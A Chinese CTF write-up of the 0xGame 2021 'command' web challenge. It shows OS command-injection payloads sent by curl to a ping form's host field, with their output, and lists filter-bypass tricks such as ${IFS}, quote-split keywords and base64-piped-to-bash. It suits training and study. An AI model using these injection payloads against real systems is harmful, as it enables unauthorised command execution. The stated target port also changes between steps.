Writeup 4 0xGame 2021 · command (WEB)

Writeup 4 0xGame 2021 · command (WEB)

该 Writeup 包含了完整的解题思路、原理分析以及可以直接复用的 Payload。

一、题目信息

  • 赛事:0xGame 2021
  • 方向:WEB
  • 题目:command
  • 描述 :0xGame{}
  • 靶机地址 :http://49.232.142.230:10692/

二、解题思路

1. 信息收集与源码分析

访问靶机首页,页面上只有一个用来输入 IP 地址的输入框,以及一个写着 Ping 的提交按钮。

查看页面源码(F12),核心代码如下:

html 复制代码
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>

发现两个关键点:

  1. 前端限制 :提交按钮被添加了 disabled="disabled" 属性,导致用户无法在页面上直接点击提交。但这只是前端的障眼法,我们完全可以使用工具(如 HackBar、Burp Suite 或 curl)直接构造 POST 请求绕过这个限制。
  2. 参数传递 :表单以 POST 方式提交 host 参数给 index.php。

2. 漏洞验证(命令注入)

题目名称叫 command,且后端接收 host 参数,极大概率是后端通过 system() 或 shell_exec() 等函数执行了类似 ping -c 4 $host 的命令,并且没有对用户输入进行过滤。

我们使用 curl 构造 POST 请求,利用 Linux 的命令连接符 ; 在 ping 命令后拼接 ls 命令:

bash 复制代码
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;ls"

回显结果 :成功输出了当前目录下的文件 index.php,证明命令注入成功。

html 复制代码
<html>
<head>
    <title>
        Ai Ping wins
    </title>
    <style type="text/css">
        body{
            background: cornflowerblue;
        }
    </style>
</head>
<body>
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
index.php
root@Rambo:/command#

3. 寻找 Flag

当前目录下并没有 flag 文件,因此需要去系统的其他目录寻找。使用 ls / 查看根目录:

bash 复制代码
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;ls -la /"

运行结果:

html 复制代码
<html>
<head>
    <title>
        Ai Ping wins
    </title>
    <style type="text/css">
        body{
            background: cornflowerblue;
        }
    </style>
</head>
<body>
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
total 84
drwxr-xr-x   1 root root 4096 Nov  5 10:35 .
drwxr-xr-x   1 root root 4096 Nov  5 10:35 ..
-rwxr-xr-x   1 root root    0 Nov  5 10:35 .dockerenv
drwxr-xr-x   1 root root 4096 Jan 22  2019 bin
drwxr-xr-x   2 root root 4096 Oct 20  2018 boot
drwxr-xr-x   5 root root  340 Nov  5 10:35 dev
drwxr-xr-x   1 root root 4096 Nov  5 10:35 etc
-r--r--r--   1 root root   36 Aug  9  2023 flag
drwxr-xr-x   2 root root 4096 Oct 20  2018 home
drwxr-xr-x   1 root root 4096 Jan 22  2019 lib
drwxr-xr-x   2 root root 4096 Jan 22  2019 lib64
drwxr-xr-x   2 root root 4096 Jan 22  2019 media
drwxr-xr-x   2 root root 4096 Jan 22  2019 mnt
drwxr-xr-x   2 root root 4096 Jan 22  2019 opt
dr-xr-xr-x 219 root root    0 Nov  5 10:35 proc
drwx------   1 root root 4096 Jan 23  2019 root
drwxr-xr-x   1 root root 4096 Jan 22  2019 run
drwxr-xr-x   1 root root 4096 Jan 22  2019 sbin
drwxr-xr-x   2 root root 4096 Jan 22  2019 srv
dr-xr-xr-x  13 root root    0 Sep  3  2025 sys
drwxrwxrwt   1 root root 4096 Jan 23  2019 tmp
drwxr-xr-x   1 root root 4096 Jan 22  2019 usr
drwxr-xr-x   1 root root 4096 Jan 22  2019 var
root@Rambo:/command#

发现根目录下存在一个名为 flag 的文件。直接使用 cat 命令读取:

bash 复制代码
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;cat /flag"

4. 获取 Flag

读取成功,回显如下:

html 复制代码
<html>
<head>
    <title>
        Ai Ping wins
    </title>
    <style type="text/css">
        body{
            background: cornflowerblue;
        }
    </style>
</head>
<body>
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}
root@Rambo:/command#

三、最终 Flag

text 复制代码
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}

注:如果平台要求 NSSCTF{} 格式,替换前缀即可

四、知识点总结

  1. 前端限制不可信 :永远不要相信前端的任何限制(如 disabled 按钮、JS 验证等)。攻击者可以直接构造 HTTP 数据包绕过前端校验,所有的安全限制必须在后端实现。
  2. 命令执行/注入(RCE) :Web 应用如果直接调用系统命令且未对输入进行严格过滤,攻击者可以利用 ;、|、&、|| 等符号拼接恶意命令。
  3. 绕过技巧 :在 CTF 中,如果遇到命令执行被过滤,常见的绕过方式包括:
    • 使用空格绕过:${IFS}、$IFS$9、<、> 等。
    • 使用关键字绕过:c'a't、tac、nl、more、less。
    • 使用编码绕过:echo "base64" | base64 -d | bash。
    • 使用通配符:cat /fla? 或 cat /fl*。
  4. Linux 基础 :熟悉常见的系统命令(ls、cat、find 等)以及对系统目录结构的了解(Flag 经常被藏在 / 根目录、/home 或 /tmp 下)。

Rambo

2026年11月05日

🎉🎉🎉

相关推荐
0xBADCODE13 小时前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
kingx33 天前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
kingx33 天前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
kingx33 天前
Bugku Reverse 与 Android 题解总集:APK / native / PE / IPA
android·逆向·ctf·bugku
kingx35 天前
Windows Server安全配置深度复盘:关键 Payload 与解题思路
windows·靶场·web·加固
kingx36 天前
网络安全事件应急响应:X集团 WebServer 入侵溯源与处置
中间件·web·应急响应·取证·恶意样本
小野猪都有白菜拱7 天前
Proxmox VE 上搭建 Vulhub 靶场:Ubuntu + Docker
web
treasure1408 天前
Django复习笔记(2026年10月)
后端·python·django·api·web·drf
hengdonghui8 天前
Writeup 4 NUAACTF 2020 Wireshark 流量分析题
wireshark·ctf·misc·流量分析